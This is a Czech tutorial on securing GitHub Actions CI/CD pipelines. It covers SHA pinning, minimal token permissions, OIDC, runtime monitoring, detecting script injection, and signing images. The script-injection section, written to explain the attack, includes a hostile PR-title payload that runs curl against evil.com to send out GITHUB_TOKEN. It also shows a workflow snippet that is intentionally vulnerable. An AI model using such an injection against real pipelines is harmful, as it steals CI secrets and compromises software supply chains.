Úvod: Proč je váš CI/CD pipeline nejzranitelnější částí infrastruktury
Představte si tohle: váš tým strávil měsíce hardeningem produkčních serverů, nastavením firewallů, konfigurací SELinuxu a nasazením runtime monitoringu. Všechno vypadá solidně. Jenže útočník vůbec neproniká přes vaši produkci — místo toho kompromituje GitHub Action třetí strany, kterou váš workflow používá, a tichým způsobem exfiltruje produkční přihlašovací údaje přímo z build logů. Žádný alarm se nespustí, žádný firewall nezareaguje.
Zní to jako teorie? Bohužel ne.
Přesně takhle v březnu 2025 dopadl útok na tj-actions/changed-files (CVE-2025-30066), který zasáhl přes 23 000 repozitářů, včetně Coinbase — a vedl ke kompromitaci přibližně 70 000 zákaznických účtů. Útočník retroaktivně přepsal verzovací tagy oblíbené GitHub Action tak, aby odkazovaly na škodlivý commit. Ten pak extrahoval CI/CD secrets z paměti Runner procesu. Elegantní a děsivé zároveň.
A tady je ta nepříjemná statistika. Podle zprávy Datadog State of DevSecOps 2026, vydané v únoru 2026, pouze 4 % organizací pinuje všechny veřejné GitHub Actions na konkrétní verze. Současně 87 % organizací provozuje software s nejméně jednou známou zneužitelnou zranitelností. Mediánové závislosti jsou 278 dní zastaralé. Upřímně, to je dost alarmující.
V tomto průvodci vám ukážu, jak systematicky zabezpečit celý CI/CD pipeline — od GitHub Actions workflows přes správu secrets až po runtime monitoring buildu. Všechno s praktickými příklady, které můžete nasadit ihned. Tak pojďme na to.
Anatomie útoku na dodavatelský řetězec softwaru
Než se pustíme do samotného hardeningu, je potřeba pochopit, jak útoky na CI/CD pipeline vlastně fungují. Bez znalosti útočných vektorů totiž těžko postavíte efektivní obranu.
Kompromitace GitHub Actions třetích stran
Nejčastější útočný vektor je vlastně překvapivě prostý: útočník získá přístup k repozitáři populární GitHub Action (přes kompromitované přihlašovací údaje správce, phishing, nebo zranitelnost v samotném GitHubu) a modifikuje kód tak, aby při spuštění v cílovém workflow exfiltroval secrets.
Přesně to se stalo u tj-actions/changed-files v roce 2025. Útočník:
- Získal přístup k repozitáři GitHub Action
- Přepsal existující verzovací tagy (v1, v2, v35 atd.) tak, aby odkazovaly na škodlivý commit
- Škodlivý kód spustil Python skript, který extrahoval secrets z paměti Runner Worker procesu
- Vyextrahované secrets (GitHub tokeny, NPM tokeny, AWS klíče, privátní RSA klíče) vypsal do build logů
- U repozitářů s veřejnými logy byly tyto secrets okamžitě čitelné kýmkoli
Celý útok proběhl bez nutnosti modifikovat jakýkoli kód v cílových repozitářích — stačilo změnit tag v jediném zdrojovém repozitáři. To je na tom to záludné.
Pwn Request — zneužití pull_request_target
Druhý kritický vektor je takzvaný Pwn Request — útok, který zneužívá trigger pull_request_target v GitHub Actions. Na rozdíl od běžného triggeru pull_request se workflow s pull_request_target spouští v kontextu cílového repozitáře s plnými právy, ale může přistupovat ke kódu z PR — tedy ke kódu útočníka. Nebezpečná kombinace.
V únoru 2026 AI bot hackerbot-claw systematicky skenoval veřejné repozitáře a za pouhý týden úspěšně pronikl do workflow repozitářů patřících Microsoftu, Datadogu a CNCF. Tři z pěti úspěšných útoků využily právě Pwn Request.
Script injection přes neošetřené výrazy
Třetí vektor je injekce přes GitHub Actions výrazy ${{ }}. Pokud workflow vkládá uživatelem ovlivnitelné hodnoty (název PR, komentář, jméno větve) přímo do shell příkazů bez sanitizace, útočník může spustit prakticky libovolný kód:
# NEBEZPEČNÉ — script injection
- name: Zpracování PR titulku
run: |
echo "Zpracovávám PR: ${{ github.event.pull_request.title }}"
# Útočník může nastavit titulek na:
# "; curl -s https://evil.com/steal?token=$GITHUB_TOKEN #
# a tím exfiltrovat token
Základy hardeningu: SHA pinning GitHub Actions
Nejúčinnější obranou proti kompromitaci GitHub Actions třetích stran je pinování na plný SHA hash commitu. Je to jediný spolehlivý způsob, jak zajistit, že workflow vždy spustí přesně ten kód, který jste ověřili.
Proč tagy nestačí
Když ve workflow napíšete uses: actions/checkout@v4, odkazujete na git tag. Tagy jsou ale mutabilní — kdokoli s přístupem k repozitáři je může smazat a znovu vytvořit s odkazem na jiný commit. Přesně tohle se stalo u tj-actions útoku.
Pinování na SHA hash je bezpečné, protože SHA-1 hash jednoznačně identifikuje konkrétní commit a jeho obsah. Změna kódu vytvoří nový hash. Útočník by musel generovat SHA-1 kolizi pro validní Git objekt — což je v praxi neproveditelné (a to i s dnešním výpočetním výkonem).
Praktická ukázka: Před a po hardeningu
Nezabezpečený workflow:
# .github/workflows/ci.yml — NEZABEZPEČENO
name: CI Pipeline
on: [push, pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4 # Mutabilní tag!
- uses: actions/setup-node@v4 # Mutabilní tag!
- uses: docker/build-push-action@v6 # Mutabilní tag!
- uses: tj-actions/changed-files@v45 # Kompromitovaná action!
Zabezpečený workflow s SHA pinningem:
# .github/workflows/ci.yml — ZABEZPEČENO
name: CI Pipeline
on: [push, pull_request]
permissions:
contents: read # Minimální oprávnění
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
- uses: docker/build-push-action@471d1dc4e07e5cdedd4c2171150001c434f0b7a4 # v6.15.0
Všimněte si dvou klíčových rozdílů:
- SHA hash — plný 40znakový SHA hash namísto verzovacího tagu
- Komentář s verzí — komentář
# v4.2.2za hashem zajistí čitelnost a umožní Dependabotu navrhovat aktualizace
Automatizace SHA pinningu
Ruční pinování je pro větší organizace dost neúnosné. Naštěstí existují nástroje, které to zvládnou za vás:
# Instalace pinact — automatický pinner pro GitHub Actions
go install github.com/suzuki-shunsuke/pinact/cmd/pinact@latest
# Pinování všech Actions v repozitáři
pinact run
# Nebo použití jako GitHub Action ve workflow
# .github/workflows/pin-actions.yml
name: Pin Actions
on:
pull_request:
paths:
- ".github/workflows/**"
jobs:
pin:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: suzuki-shunsuke/pinact-action@0ee9f3cee5c92e4103bfb5e8e74e0834e60cb220 # v1.1.0
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
Dalším užitečným nástrojem je Ensure SHA Pinned Actions z GitHub Marketplace, který skenuje workflow soubory a ohlásí chybu, pokud najde jakoukoliv Action bez pinování na plný SHA hash.
Vynucení SHA pinningu na úrovni organizace
Od srpna 2025 GitHub umožňuje správcům organizací vynucovat politiku, která vyžaduje pinování na plný SHA hash pro všechny workflow. Nastavení je jednoduché:
- Přejděte do Organization Settings → Actions → General
- V sekci Allowed actions and reusable workflows zaškrtněte volbu pro vynucení SHA pinningu
- Uložte nastavení — od tohoto okamžiku selže jakýkoli workflow, který nepoužívá SHA reference
Tohle je podle mě jeden z nejlepších kroků, které GitHub za poslední dobu udělal.
Oprávnění GITHUB_TOKEN: Princip nejmenších práv
Každý workflow v GitHub Actions automaticky obdrží krátkodobý GITHUB_TOKEN pro interakci s repozitářem. Problém? Pokud oprávnění nejsou explicitně definována ve workflow YAML souboru, token může mít výchozí práva pro čtení i zápis ve všech oblastech. A to rozhodně nechcete.
Konfigurace minimálních oprávnění
Vždy explicitně definujte oprávnění na úrovni workflow nebo jednotlivého jobu:
# Globální nastavení minimálních oprávnění pro celý workflow
permissions:
contents: read
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- run: npm test
deploy:
runs-on: ubuntu-latest
needs: test
# Specifická oprávnění pro deploy job
permissions:
contents: read
packages: write
id-token: write # Pro OIDC
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Přihlášení do GHCR
uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
Doporučená minimální oprávnění podle typu workflow
Tady je rychlý přehled, jaká oprávnění budete typicky potřebovat:
- CI testy:
contents: read - Publikace balíčku:
contents: read, packages: write - Komentář do PR:
contents: read, pull-requests: write - Vytvoření release:
contents: write - Deploy přes OIDC:
contents: read, id-token: write - Aktualizace wiki:
contents: read, pages: write
Doporučuju si tenhle seznam někam uložit — hodí se při psaní každého nového workflow.
OIDC namísto statických přihlašovacích údajů
Jedno z největších bezpečnostních rizik CI/CD pipeline je ukládání dlouhodobých přihlašovacích údajů (AWS access keys, GCP service account keys, Azure credentials) jako GitHub Secrets. Tyto údaje jsou statické, potenciálně exfiltrovatelné z build logů a — buďme upřímní — často nerotované.
Řešením je OpenID Connect (OIDC) — standard, který umožňuje GitHub Actions získat krátkodobé tokeny přímo od cloudového poskytovatele bez nutnosti ukládání jakýchkoli credentials. Žádné klíče, žádná rotace, žádný stres.
Jak OIDC funguje v GitHub Actions
- Workflow požádá o OIDC token od GitHubu
- GitHub vydá podepsaný JWT token obsahující informace o workflow (repozitář, větev, triggering event)
- Workflow předloží tento token cloudovému poskytovateli
- Cloudový poskytovatel ověří podpis JWT a vrátí krátkodobý přístupový token
- Workflow použije krátkodobý token pro přístup ke cloudovým zdrojům
Celý flow je překvapivě přímočarý, jakmile ho jednou nastavíte.
Konfigurace OIDC pro AWS
Nejprve vytvořte OIDC Identity Provider v AWS:
# Vytvoření OIDC provideru v AWS pomocí Terraform
resource "aws_iam_openid_connect_provider" "github_actions" {
url = "https://token.actions.githubusercontent.com"
client_id_list = ["sts.amazonaws.com"]
thumbprint_list = [
"ffffffffffffffffffffffffffffffffffffffff"
]
}
# IAM role pro GitHub Actions
resource "aws_iam_role" "github_actions_deploy" {
name = "github-actions-deploy"
assume_role_policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Effect = "Allow"
Principal = {
Federated = aws_iam_openid_connect_provider.github_actions.arn
}
Action = "sts:AssumeRoleWithWebIdentity"
Condition = {
StringEquals = {
"token.actions.githubusercontent.com:aud" = "sts.amazonaws.com"
}
StringLike = {
# Omezení na konkrétní repozitář a větev
"token.actions.githubusercontent.com:sub" = "repo:vase-org/vas-repo:ref:refs/heads/main"
}
}
}
]
})
}
# Přiřazení politik — pouze potřebná oprávnění
resource "aws_iam_role_policy_attachment" "ecr_push" {
role = aws_iam_role.github_actions_deploy.name
policy_arn = "arn:aws:iam::policy/AmazonEC2ContainerRegistryPowerUser"
}
A poté ve workflow:
# .github/workflows/deploy.yml
name: Deploy to AWS
on:
push:
branches: [main]
permissions:
id-token: write # Povinné pro OIDC
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Konfigurace AWS credentials přes OIDC
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::role/github-actions-deploy
aws-region: eu-central-1
# Žádný access key, žádný secret — vše přes OIDC!
- name: Deploy
run: |
aws ecr get-login-password | docker login --username AWS --password-stdin $ECR_REGISTRY
docker push $ECR_REGISTRY/app:${{ github.sha }}
Runtime ochrana workflow: StepSecurity Harden-Runner
SHA pinning a OIDC řeší prevenci, ale co když se útočník přesto dostane do vašeho workflow? Potřebujete runtime detekci — něco jako EDR pro vaše GitHub Actions runnery.
Přesně to nabízí StepSecurity Harden-Runner — open-source bezpečnostní agent, který monitoruje síťový provoz, integritu souborů a aktivitu procesů přímo na runneru. V současnosti chrání přes 5 000 open-source projektů, včetně repozitářů Microsoftu, Googlu a Kubernetes. Rozhodně to není žádný okrajový nástroj.
Jak Harden-Runner detekoval útok na tj-actions
Když byl v březnu 2025 kompromitován tj-actions/changed-files, Harden-Runner okamžitě detekoval anomální odchozí síťové spojení — škodlivý kód se pokoušel komunikovat s externím serverem, který nebyl na seznamu povolených destinací. Díky tomu byl útok odhalen a nahlášen GitHubu, což vedlo k vydání CVE-2025-30066.
Tohle je přesně ten scénář, kdy se runtime monitoring vyplatí.
Nasazení Harden-Runner
Integrace do existujícího workflow je jednodušší, než byste čekali — stačí přidat Harden-Runner jako první krok:
# .github/workflows/ci.yml
name: Zabezpečený CI Pipeline
on: [push, pull_request]
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
# Harden-Runner MUSÍ být prvním krokem
- name: Harden Runner
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
with:
# Audit režim — loguje síťové volání, neblokuje
egress-policy: audit
# Nebo block režim — povolí pouze explicitně uvedené destinace
# egress-policy: block
# allowed-endpoints: >
# github.com:443
# registry.npmjs.org:443
# api.github.com:443
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version: 22
- run: npm ci && npm test
Doporučený postup nasazení
Nezačínejte rovnou s blokováním — to je recept na problémy. Postupujte raději ve fázích:
- Fáze 1 — Audit: Nasaďte s
egress-policy: audit. Harden-Runner zaznamená všechna síťová volání, aniž by cokoli blokoval. Analyzujte záznamy a identifikujte legitimní endpointy. - Fáze 2 — Allowlist: Na základě auditních dat sestavte seznam povolených endpointů a přepněte na
egress-policy: block. - Fáze 3 — Enforcement: Vynuťte politiku na úrovni organizace a integrujte alerty do vašeho SIEM systému.
Ochrana před script injection
Script injection je zákeřný útok, protože nevyžaduje žádnou kompromitaci třetí strany — útočník jednoduše vytvoří pull request s vhodně pojmenovanou větví nebo titulkem, a pokud workflow neošetřuje vstupy, spustí se libovolný kód. Jednoduché, efektivní a bohužel stále překvapivě časté.
Bezpečné zpracování vstupů
Zlaté pravidlo: nikdy nevkládejte GitHub výrazy ${{ }} přímo do run: bloků. Místo toho použijte environmentální proměnné:
# NEBEZPEČNÉ — přímo interpolovaný vstup
- name: Nebezpečné
run: |
echo "PR titulek: ${{ github.event.pull_request.title }}"
# BEZPEČNÉ — vstup přes environmentální proměnnou
- name: Bezpečné
env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: |
echo "PR titulek: $PR_TITLE"
Proč je to bezpečnější? Když hodnota projde přes environmentální proměnnou, shell ji interpretuje jako řetězec — ne jako součást příkazu. Útočníkův payload "; curl evil.com # se jednoduše vypíše jako text, namísto toho aby se spustil jako příkaz. Drobný rozdíl v syntaxi, obrovský rozdíl v bezpečnosti.
Detekce injection zranitelností pomocí CodeQL
GitHub Advanced Security (GHAS) a CodeQL dokáží staticky analyzovat workflow soubory a detekovat potenciální injection zranitelnosti. CodeQL modeluje datový tok ve workflow a identifikuje cesty, kde uživatelský vstup protéká do nebezpečných kontextů:
# Instalace CodeQL CLI a analýza workflow
codeql database create workflow-db \
--language=actions \
--source-root=.github/workflows
codeql database analyze workflow-db \
codeql/actions-queries \
--format=sarif-latest \
--output=results.sarif
Alternativně lze použít Semgrep s pravidly specifickými pro GitHub Actions:
# Instalace a sken pomocí Semgrep
pip install semgrep
# Kontrola GitHub Actions workflow souborů
semgrep --config "p/github-actions" .github/workflows/
# Vlastní pravidlo pro detekci nebezpečných interpolací
# .semgrep/github-actions-injection.yml
rules:
- id: gha-script-injection
patterns:
- pattern: |
run: |
... ${{ github.event.pull_request.title }} ...
- pattern: |
run: |
... ${{ github.event.pull_request.body }} ...
- pattern: |
run: |
... ${{ github.event.issue.title }} ...
message: "Potenciální script injection — použijte env proměnnou namísto přímé interpolace"
severity: ERROR
languages: [yaml]
Správa secrets v CI/CD pipeline
Správa secrets je v CI/CD pipeline naprosto kritická. A tady je důvod, proč: jakýkoli uživatel s právem zápisu do repozitáře má automaticky přístup ke čtení všech nakonfigurovaných secrets. To je dost široký blast radius.
Pravidla pro bezpečnou práci se secrets
- Rotace: pravidelně rotujte všechny secrets, ideálně pomocí automatizovaného procesu (ručně to nikdo dodržovat nebude, buďme realisté)
- Nejmenší oprávnění: secrets by měly mít minimální nutná oprávnění — pokud workflow potřebuje pouze read access k ECR, nevytvářejte admin credentials
- Environment secrets: pro produkční deploy používejte GitHub Environments s povinným reviewem a ochrannou dobou
- Žádné secrets v logech: GitHub automaticky maskuje secrets v logách, ale útočník je může obejít kódováním (base64) — proto nikdy secrets do logů nevypisujte
Konfigurace GitHub Environments pro produkční deploy
# .github/workflows/deploy-production.yml
name: Deploy to Production
on:
push:
branches: [main]
jobs:
deploy:
runs-on: ubuntu-latest
# Environment s ochranným pravidlem
environment:
name: production
url: https://app.example.com
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Deploy
env:
# Secret je dostupný pouze po schválení reviewerem
DEPLOY_KEY: ${{ secrets.PRODUCTION_DEPLOY_KEY }}
run: |
./scripts/deploy.sh
V nastavení Environment production nakonfigurujte:
- Required reviewers: minimálně 1–2 schvalovatelé před spuštěním deploy workflow
- Wait timer: třeba 5minutová čekací doba pro možnost zrušení
- Deployment branches: omezte na
mainbranch
SBOM a skenování závislostí
Software Bill of Materials (SBOM) se v roce 2026 stal de facto standardem. A čísla mluví jasně — zpráva Datadog uvádí, že 42 % služeb závisí na knihovnách, které již nejsou aktivně udržovány, a 50 % organizací adoptuje nové verze knihoven během 24 hodin od vydání. To druhé číslo je vlastně taky problém, protože zvyšuje riziko instalace kompromitovaných balíčků dřív, než je komunita stihne prověřit.
Automatické generování SBOM v CI/CD
# .github/workflows/sbom.yml
name: Generování SBOM a skenování zranitelností
on:
push:
branches: [main]
schedule:
- cron: "0 6 * * 1" # Každé pondělí v 6:00 UTC
permissions:
contents: read
security-events: write
jobs:
sbom-scan:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
with:
egress-policy: audit
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
# Skenování kontejnerového obrazu pomocí Trivy
- name: Skenování obrazu
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947e0a2f18a20a0e8bf # v0.29.0
with:
image-ref: "${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}"
format: "sarif"
output: "trivy-results.sarif"
severity: "CRITICAL,HIGH"
# Upload výsledků do GitHub Security tab
- name: Upload výsledků
uses: github/codeql-action/upload-sarif@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18
with:
sarif_file: "trivy-results.sarif"
# Generování SBOM ve formátu CycloneDX
- name: Generování SBOM
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947e0a2f18a20a0e8bf # v0.29.0
with:
image-ref: "${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}"
format: "cyclonedx"
output: "sbom.json"
# Archivace SBOM jako artefakt
- name: Upload SBOM
uses: actions/upload-artifact@ea165f8d65b6db9a8b9c8c4d8e6e0163f6247a8a # v4.6.2
with:
name: sbom
path: sbom.json
Podpis a verifikace kontejnerových obrazů pomocí Cosign
Poslední vrstvou ochrany dodavatelského řetězce je podpis a verifikace artefaktů. Cosign, součást projektu Sigstore, umožňuje kryptograficky podepisovat kontejnerové obrazy během buildu a ověřovat podpisy před nasazením. Myslím, že tohle je oblast, kterou spousta týmů stále podceňuje.
# .github/workflows/build-sign.yml
name: Build, Sign & Push
on:
push:
branches: [main]
permissions:
contents: read
packages: write
id-token: write # Pro Cosign keyless signing
jobs:
build-and-sign:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Instalace Cosign
uses: sigstore/cosign-installer@3454372f43399081ed03b604cb2d021dabca52bb # v3.8.2
- name: Přihlášení do GHCR
uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Build a push
id: build
uses: docker/build-push-action@471d1dc4e07e5cdedd4c2171150001c434f0b7a4 # v6.15.0
with:
push: true
tags: ghcr.io/${{ github.repository }}:${{ github.sha }}
- name: Podpis obrazu pomocí Cosign (keyless)
run: |
cosign sign --yes \
ghcr.io/${{ github.repository }}@${{ steps.build.outputs.digest }}
env:
COSIGN_EXPERIMENTAL: "true"
A verifikace při nasazení v Kubernetes pomocí policy enginu Kyverno:
# kyverno-policy-verify-images.yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: verify-image-signatures
spec:
validationFailureAction: Enforce
background: false
rules:
- name: verify-cosign-signature
match:
any:
- resources:
kinds:
- Pod
verifyImages:
- imageReferences:
- "ghcr.io/vase-org/*"
attestors:
- entries:
- keyless:
issuer: "https://token.actions.githubusercontent.com"
subject: "https://github.com/vase-org/*"
rekor:
url: "https://rekor.sigstore.dev"
Kompletní zabezpečený CI/CD workflow: Všechno dohromady
Tak, a teď pojďme spojit všechny techniky do jednoho produkčního workflow, který implementuje celý bezpečnostní řetězec od testů až po deploy:
# .github/workflows/secure-pipeline.yml
name: Zabezpečený produkční pipeline
on:
push:
branches: [main]
# Globální minimální oprávnění
permissions:
contents: read
env:
REGISTRY: ghcr.io
IMAGE_NAME: ${{ github.repository }}
jobs:
# 1. Statická analýza a testy
test:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
with:
egress-policy: audit
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Spuštění testů
run: make test
- name: SAST skenování
uses: github/codeql-action/analyze@ff0a06e83cb2de871e5a09832bc6a81e7276941f # v3.28.18
# 2. Build a skenování obrazu
build:
runs-on: ubuntu-latest
needs: test
permissions:
contents: read
packages: write
id-token: write
security-events: write
outputs:
digest: ${{ steps.build.outputs.digest }}
steps:
- name: Harden Runner
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
with:
egress-policy: audit
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- name: Přihlášení do GHCR
uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
- name: Build a push
id: build
uses: docker/build-push-action@471d1dc4e07e5cdedd4c2171150001c434f0b7a4 # v6.15.0
with:
push: true
tags: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}
- name: Skenování zranitelností
uses: aquasecurity/trivy-action@18f2510ee396bbf400402947e0a2f18a20a0e8bf # v0.29.0
with:
image-ref: "${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}"
format: "sarif"
output: "trivy.sarif"
severity: "CRITICAL,HIGH"
exit-code: "1"
- name: Podpis obrazu
uses: sigstore/cosign-installer@3454372f43399081ed03b604cb2d021dabca52bb # v3.8.2
- run: cosign sign --yes ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ steps.build.outputs.digest }}
# 3. Deploy do produkce
deploy:
runs-on: ubuntu-latest
needs: build
environment:
name: production
url: https://app.example.com
permissions:
contents: read
id-token: write
steps:
- name: Harden Runner
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
with:
egress-policy: audit
- name: Konfigurace AWS OIDC
uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
with:
role-to-assume: arn:aws:iam::role/github-actions-deploy
aws-region: eu-central-1
- name: Deploy do EKS
run: |
aws eks update-kubeconfig --name production-cluster
kubectl set image deployment/app \
app=${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}@${{ needs.build.outputs.digest }}
Kontrolní seznam: 15 kroků k zabezpečenému CI/CD pipeline
Na závěr tu máte kompaktní kontrolní seznam, který shrnuje všechna doporučení z tohoto průvodce. Doporučuju si ho projít bod po bodu a upřímně vyhodnotit, kolik z nich váš tým aktuálně splňuje:
- Pinujte všechny GitHub Actions na plný SHA hash commitu
- Přidejte komentáře s verzí za SHA hash pro čitelnost a Dependabot
- Nastavte
permissionsna úrovni workflow — výchozícontents: read - Používejte OIDC místo statických cloud credentials
- Nasaďte Harden-Runner jako první krok každého workflow
- Nikdy neinterpolujte
${{ }}výrazy přímo dorun:bloků - Používejte GitHub Environments pro produkční deploy s povinným reviewem
- Pravidelně rotujte všechny secrets
- Skenujte kontejnerové obrazy na zranitelnosti pomocí Trivy
- Podepisujte kontejnerové obrazy pomocí Cosign/Sigstore
- Verifikujte podpisy před nasazením (Kyverno, OPA/Gatekeeper)
- Generujte SBOM pro každý build
- Omezte použití
pull_request_targettriggeru - Automatizujte SHA pinning pomocí pinact nebo StepSecurity
- Vynuťte SHA pinning na úrovni organizace přes GitHub politiky
Často kladené otázky (FAQ)
Jak zjistím SHA hash konkrétní verze GitHub Action?
Přejděte do repozitáře dané Action na GitHubu, klikněte na záložku „Releases" nebo „Tags", najděte požadovanou verzi a klikněte na zkrácený hash commitu. V detailu commitu najdete plný 40znakový SHA hash. Alternativně můžete v terminálu spustit git ls-remote --tags https://github.com/actions/checkout | grep v4.2.2. Vždy si ověřte, že SHA pochází z oficiálního repozitáře, nikoli z forku.
Je SHA pinning GitHub Actions opravdu nutný pro soukromé repozitáře?
Ano, jednoznačně. I když je váš repozitář soukromý, workflow může používat veřejné GitHub Actions třetích stran, které mohou být kompromitovány. Útok na tj-actions/changed-files zasáhl veřejné i soukromé repozitáře bez rozdílu. A jak jsem zmínil výše — pouze 4 % organizací pinuje všechny Actions. Bezpečnostní audit vašeho pipeline by měl být prioritou bez ohledu na viditelnost repozitáře.
Jaký je rozdíl mezi pull_request a pull_request_target triggerem?
Trigger pull_request spouští workflow v kontextu merge commitu PR s omezenými oprávněními (read-only GITHUB_TOKEN). Trigger pull_request_target se spouští v kontextu cílového repozitáře s plnými právy, ale může přistupovat ke kódu z PR. Právě tato kombinace plných oprávnění a přístupu k nedůvěryhodnému kódu vytváří nebezpečný vektor zvaný Pwn Request. Pokud musíte pull_request_target použít, nikdy neprovádějte checkout kódu z PR a workflow nechte běžet s minimálními oprávněními.
Jak mohu auditovat, které GitHub Actions v mé organizaci nejsou pinované?
Existuje několik přístupů. Nástroj pinact dokáže skenovat a automaticky pinovat Actions ve všech workflow souborech. GitHub Action Ensure SHA Pinned Actions z Marketplace ohlásí chybu u nepinovaných Actions. Pro enterprise prostředí nabízí StepSecurity dashboard, který zobrazuje bezpečnostní stav všech workflow v organizaci — včetně nepinovaných Actions, příliš širokých oprávnění a nerotovaných secrets.
Může OIDC kompletně nahradit GitHub Secrets pro cloudové přihlašovací údaje?
Pro přístup k hlavním cloudovým poskytovatelům (AWS, Azure, GCP) rozhodně ano — OIDC je doporučený způsob a měl by nahradit statické access keys a service account keys. Tokeny jsou krátkodobé (typicky 1 hodina), automaticky expirují a nedají se exfiltrovat pro pozdější zneužití. Některé služby však OIDC zatím nepodporují — v takovém případě je potřeba nadále používat secrets, ale ideálně uložené v GitHub Environments s povinným reviewem a automatickou rotací.